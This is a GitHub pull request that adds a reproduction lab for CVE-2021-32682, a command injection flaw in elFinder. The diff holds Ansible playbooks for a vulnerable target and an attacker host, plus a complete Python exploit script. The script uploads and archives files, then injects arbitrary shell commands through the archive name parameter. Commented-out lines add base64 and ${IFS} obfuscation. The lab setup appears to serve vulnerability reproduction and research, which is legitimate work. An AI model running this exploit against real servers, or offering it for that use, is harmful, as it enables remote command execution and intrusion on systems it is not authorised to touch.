Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

CVE-2021-32682, elFinder vul leads to arbitrary commands execution #30

Open
wants to merge 1 commit into
base: main
Choose a base branch
from
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
7 changes: 7 additions & 0 deletions CVE-2021-32682/cvex.yml
Original file line number Diff line number Diff line change
@@ -0,0 +1,7 @@
blueprint: ubuntu2204-ubuntu2204
ubuntu1:
playbook: ubuntu1.yml
ubuntu2:
playbook: ubuntu2.yml
command: |
python3 /opt/exploit/exploit.py --url http://%ubuntu1%:8080 --cmd "id>shell.php"
6 changes: 6 additions & 0 deletions CVE-2021-32682/data/docker-compose.yml
Original file line number Diff line number Diff line change
@@ -0,0 +1,6 @@
version: '2'
services:
web:
image: vulhub/elfinder:2.1.58
Copy link
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Could you please download the Docker image, put it to the data folder and install it from file?

ports:
- "8080:80"
166 changes: 166 additions & 0 deletions CVE-2021-32682/data/exploit.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,166 @@
import requests
import os
import random
import string
import argparse
import base64
from urllib.parse import urljoin, urlparse


class ElFinderExploit:
def __init__(self, url):
self.target_url = url.rstrip('/')
self.session = requests.Session()

def normalize_uri(self, *args):
return '/'.join(s.strip('/') for s in args)

def upload_uri(self):
return self.normalize_uri(urlparse(self.target_url).path, 'php', 'connector.minimal.php')

def send_request_cgi(self, method='GET', uri='', params=None, data=None, files=None, headers=None, ctype=None):
url = urljoin(self.target_url, uri)
if headers is None:
headers = {}
if ctype:
headers['Content-Type'] = ctype
try:
if method == 'GET':
resp = self.session.get(url, params=params, headers=headers)
elif method == 'POST':
resp = self.session.post(url, data=data, files=files, headers=headers)
print(url,)
else:
resp = self.session.request(method, url, params=params, data=data, files=files, headers=headers)
return resp
except Exception as e:
print(f"Error in request: {e}")
return None

def upload_successful(self, response):
if not response:
print('Did not receive a response from elFinder')
return False

if response.status_code != 200 or 'error' in response.text:
print(f"Request failed: {response.text}")
return False

if 'added' not in response.text:
print(f"Failed to add new file: {response.text}")
return False

try:
json_data = response.json()
if not json_data.get('added'):
return False
except ValueError:
return False

return True

def archive_successful(self, response):
return self.upload_successful(response)

def upload_txt_file(self, file_name):
file_data = ''.join(random.choice(string.ascii_letters) for _ in range(random.randint(8, 20)))

data = {
'cmd': 'upload',
'target': 'l1_Lw',
}
files = {
'upload[]': (file_name, file_data, 'text/plain'),
}

print(f"Uploading file {file_name} to elFinder")
return self.send_request_cgi(
method='POST',
uri=self.upload_uri(),
data=data,
files=files
)

def create_archive(self, archive_name, *files_to_archive):
files_to_archive = ['l1_' + base64.b64encode(file_name.encode()).decode().strip('=') for file_name in files_to_archive]

params = {
'cmd': 'archive',
'name': archive_name,
'target': 'l1_Lw',
'type': 'application/zip',
'targets[]': files_to_archive
}

return self.send_request_cgi(
method='GET',
uri=self.upload_uri(),
params=params
)

def setup_files_for_sploit(self):
# self.txt_file = ''.join(random.choice(string.ascii_letters) for _ in range(random.randint(5, 10))) + '.txt'
self.txt_file = '1.txt'
res = self.upload_txt_file(self.txt_file)
if not self.upload_successful(res):
print('Upload was not successful')
return False
print('Text file was successfully uploaded!')

# self.archive_name = ''.join(random.choice(string.ascii_letters) for _ in range(random.randint(5, 10))) + '.zip'
self.archive_name = '2.zip'
print(f"Attempting to create archive {self.archive_name}")
res = self.create_archive(self.archive_name, self.txt_file)
if not self.archive_successful(res):
print('Archive was not created')
return False
print('Archive was successfully created!')
return True

def execute_command(self, cmd):

# MS50eHQ is 1.txt base64 encoding
# Mi56aXA is 2.zip base64 encoding

poststr = f"""
curl -X GET "{self.target_url}/php/connector.minimal.php?cmd=archive&name=-TvTT={cmd}%20%23%20a.zip&target=l1_Lw&targets%5B1%5D=l1_Mi56aXA&targets%5B0%5D=l1_MS50eHQ&type=application%2Fzip" \
-H "Accept: application/json, text/javascript, */*; q=0.01" \
-H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36" \
-H "X-Requested-With: XMLHttpRequest" \
-H "Referer: http://localhost.lan:8080/" \
-H "Accept-Encoding: gzip, deflate" \
-H "Accept-Language: en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7" \
-H "Connection: close"
"""
os.system(poststr)

# cmd_encoded = base64.b64encode(cmd.encode()).decode()
# cmd_to_execute = f"echo{cmd_encoded}|base64${{IFS}}-d|sh"
# random_str = ''.join(random.choice(string.ascii_letters) for _ in range(random.randint(1, 3)))
# cmd_arg = f'-TmTT="${{IFS}}$({cmd_to_execute}){random_str}"'
# cmd_arg = cmd_arg.replace(' ', '${IFS}')
# self.create_archive(cmd_arg, self.archive_name, self.txt_file)

def exploit(self, cmd):
if not self.setup_files_for_sploit():
print('Failed to set up files for exploit')
return False
self.execute_command(cmd)
return True


if __name__ == "__main__":
parser = argparse.ArgumentParser(description="Exploit elFinder Command Injection (CVE-2021-32682)")
parser.add_argument('--url', required=True, help='Target URL for elFinder')
parser.add_argument('--cmd', required=True, help='Command to execute on the target')

args = parser.parse_args()

exploit = ElFinderExploit(args.url)
if exploit.exploit(args.cmd):
print("[+] Exploit executed successfully. Although it show {'error':['errArchive']}, it's ok. The command has been executed.")
else:
print("[-] Exploit failed.")



47 changes: 47 additions & 0 deletions CVE-2021-32682/ubuntu1.yml
Original file line number Diff line number Diff line change
@@ -0,0 +1,47 @@
---
- name: Setup vulnerable elFinder on Ubuntu using Docker Compose
hosts: ubuntu1
become: yes
tasks:
- name: Update apt package index
apt:
update_cache: yes

- name: Ensure Docker is installed
apt:
name: docker.io
state: present

- name: Install a list of packages
ansible.builtin.apt:
pkg:
- docker-buildx
- docker-compose-v2

- name: Ensure Docker service is started and enabled
service:
name: docker
state: started
enabled: yes

- name: Verify Docker Compose installation
command: docker compose version
register: compose_version

- debug:
msg: "Docker Compose version: {{ compose_version.stdout }}"

- name: Create /opt/elFinder
file:
path: /opt/elFinder
state: directory

- name: Copy elFinder
ansible.builtin.copy:
src: ./data/docker-compose.yml
dest: /opt/elFinder

- name: Start Docker Compose services
command: docker compose up -d --build
Copy link
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Please use built-in community.docker.docker_compose

args:
chdir: /opt/elFinder
28 changes: 28 additions & 0 deletions CVE-2021-32682/ubuntu2.yml
Original file line number Diff line number Diff line change
@@ -0,0 +1,28 @@
---
- name: Configure ubuntu2 as the attacker
hosts: ubuntu2
become: yes
tasks:
- name: Install Python dependencies
apt:
name:
- python3
- python3-pip
state: present
update_cache: yes

- name: Install required Python libraries
pip:
name: requests
executable: pip3

- name: Create /opt/exploit
file:
path: /opt/exploit
state: directory

- name: Copy exp to /opt/exploit
ansible.builtin.copy:
src: ./data/exploit.py
dest: /opt/exploit
mode: '0755'